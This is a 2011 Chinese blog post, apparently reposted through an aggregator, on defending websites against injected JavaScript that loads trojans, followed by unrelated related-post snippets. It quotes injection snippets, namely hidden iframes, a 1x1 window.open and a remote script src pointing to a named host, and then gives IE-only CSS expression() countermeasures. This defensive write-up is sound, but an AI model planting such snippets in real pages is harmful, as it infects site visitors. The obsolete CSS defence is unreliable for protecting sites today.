如何防止网站被JS挂马

标签: 网站 js | 发表时间:2011-06-04 07:27 | 作者:十分爱 Haipeng
出处:http://www.cnblogs.com/

现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。
    这种方法使用的关键代码如下:
    window.open("http://www.shenzhidao.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
    这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。
    另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:
    <script src="http://www.shenzhidao.com/木马脚本.js"></script>
    或者
    document.write("<div style='display:none'>")
    document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
    document.write("</div>")
    就成功地将木马挂到了对方的网页中了。
    小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:
    <div style="behaviour: url(http://www.shenzhidao.com/木马脚本.js);">
    或者:
    <iframe src="vbscript:[挂马脚本]">
    等等……
    防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:
    iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
    script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
    不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。
    所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
    让JS木马的进程迅速中止
    在 <head> </head> 之间加入如下代码:
    屏蔽script和iframe
    <style type="text/css" id="LinrStudio">
    /*<![CDATA[*/
    iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
    script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
    /*]]>*/
    </style>
    单屏蔽script
    <style type="text/css" id="LinrStudio">
    /*<![CDATA[*/
    /*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
    script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
    /*]]>*/
    </style>

作者: 十分爱 发表于 2011-06-04 07:27 原文链接

评论: 0 查看评论 发表评论


最新新闻:
· FireFox 4 每分钟下载量达到1500(2011-06-03 23:54)
· 报道称摩托罗拉手机辐射量最大 iPhone居中(2011-06-03 23:07)
· 消息称新浪微博筹备英文版 或第三季度进军美国(2011-06-03 22:30)
· 迅雷7.2优先体验版更新(2011-06-03 22:19)
· 疯狂的浏览器:互联网入口之争再升级(2011-06-03 22:13)

编辑推荐:Java/.Net语言及IDE简易对比

网站导航:博客园首页  我的园子  新闻  闪存  小组  博问  知识库

相关 [网站 js] 推荐:

如何防止网站被JS挂马

- Haipeng - 博客园-首页原创精华区
现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行.     这种方法使用的关键代码如下:.     window.open("http://www.shenzhidao.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");.

WebView JS 交互

- - ITeye博客
WebView加jquery做页面会怎么样呢. // 创建WebView对象. // 把programList添加到js的全局对象window中,. // 这样就可以使用window.programList来获取数据. * 定义js回调java函数. // 绑定键盘的向上,向下按钮事件触发相应的js事件.

JS游戏引擎

- 米随随 - HTML5研究小组
If you don’t have anything better to do and want to help fellow redditors interested in JS game dev out, feel free to fork the list and modify it as you like.

來源請求.js

- 红烧鲤鱼 - Blog: timdream
很早以前就想講了,但講了大概又會被戰. 相較於英文維基百科,中文維基百科在社會和歷史條目充滿了 systemic bias. 但是那些主觀論述又不是編輯者有意加進去的,而是某種編輯者存在的社會所給予的暗示(Inception?)與集體共識,而不是原本百科全書應該有的可驗證的事實. 因為是暗示又是共識,所以有自覺的百科編輯者反而是少數;中文維基只好長成現在這個樣子了.

Js删除节点

- - JavaScript - Web前端 - ITeye博客
 方式一:传this参数调用方法:.  方式二:js方法中通过选择器获取节点:. //此处删除的是a节点 }. 方式三:通过jQuery方式获取节点:(尚未测试,有待测试. 此处a标签传this到js中,js通过this(即a节点)取parent(即p节点). (1)p.remove();可直接删除整个p节点.

以一行JS代码将PC网站移动化,想成为PaaS的“云适配”试图以简化方式做跨屏适配

- - 36氪 | 关注互联网创业
想要让用户在移动端也能浏览PC网站,通常有两种方法,一是 另起炉灶,重新按照移动端的设计规则建一个移动网站,这样建成的网站将和原PC站相互独立,比如 新浪网 / www.sina.com.cn 和 手机新浪网 / 3g.sina.com.cn 的区别. 另一种方案则是 响应式设计,在建PC站前即考虑好页面布局如何能适应多屏幕浏览,这样移动设备可以通过原网址来浏览PC站点,比如在移动端输入www.36kr.com,都可以看到自适应屏幕大小后的36氪网站.

JS游戏引擎列表

- sku - 酷壳 - CoolShell.cn
这里有一个网址收集了关于JS游戏引擎开发库的一个列表,转过来. 关于使用JS和HTML5做的一些小游戏,可参见《HTML5 小游戏展示》. Name Latest Release License Type Notes The Render Engine 1.5.3 MIT 跨浏览器; 大规模 API; 开源. 2 gameQuery 0.5.1 CC BY-SA 2.5 和 jQuery 一起使用 gTile 0.0.1 Tile based.

Deck JS: HTML5 幻灯片

- L - LinuxTOY
Deck.js 是一组开源的 JavaScript 类库,方便使用现代的 HTML5/CSS3/JS 技术创建幻灯片. 该软件十分适用于开源项目介绍,交互式的方式比单纯的文字说明更简洁易懂. 不废话了,赶紧前往该项目主页去体验 HTML5 时代的幻灯片吧. 分类: Productivity |. 收藏到 del.icio.us |.

JS三维模型库 Three.js

- Le - 开源中国社区最新软件
Three.js 是一款运行在浏览器中的 3D 引擎,你可以用它创建各种三维场景,包括了摄影机、光影、材质等各种对象. 你可以在它的主页上看到许多精采的演示. 不过,这款引擎目前还处在比较不成熟的开发阶段,其不够丰富的 API 以及匮乏的文档增加了初学者的学习难度(尤其是文档的匮乏) 演示:http://mrdoob.github.com/three.js/.

js Grid - 列表插件

- Bloger - 博客园-首页原创精华区
     js Grid - 列表插件.     1)Sponsor Flip Wall With jQuery & CSS一个非常不错的显示数据到网格里的插件. 点击后,缩略图会翻转,然后显示更多信息.      2)TableTree4J 是一个开源的基于javascript的树状菜单和表格控件,实用TableTree4J可以轻易实现带树状折叠效果的表格和树状折叠菜单.